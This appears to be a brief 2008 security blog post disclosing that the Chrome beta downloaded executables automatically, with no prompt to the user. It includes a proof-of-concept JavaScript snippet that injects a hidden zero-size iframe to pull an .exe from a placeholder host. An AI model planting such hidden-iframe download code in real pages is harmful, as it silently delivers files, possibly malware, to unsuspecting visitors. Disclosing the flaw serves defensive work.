« - »

Google Chrome is vulnerable – Automatic File Download Exploit

8 September 2008
Written by: admin Posted under Security

Google’s new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user’s computer without any user prompt.
This was tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)

Here is the code that demonstrates this issue:

<script type="text/javascript">// <![CDATA[
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
// ]]></script></code>


Leave a reply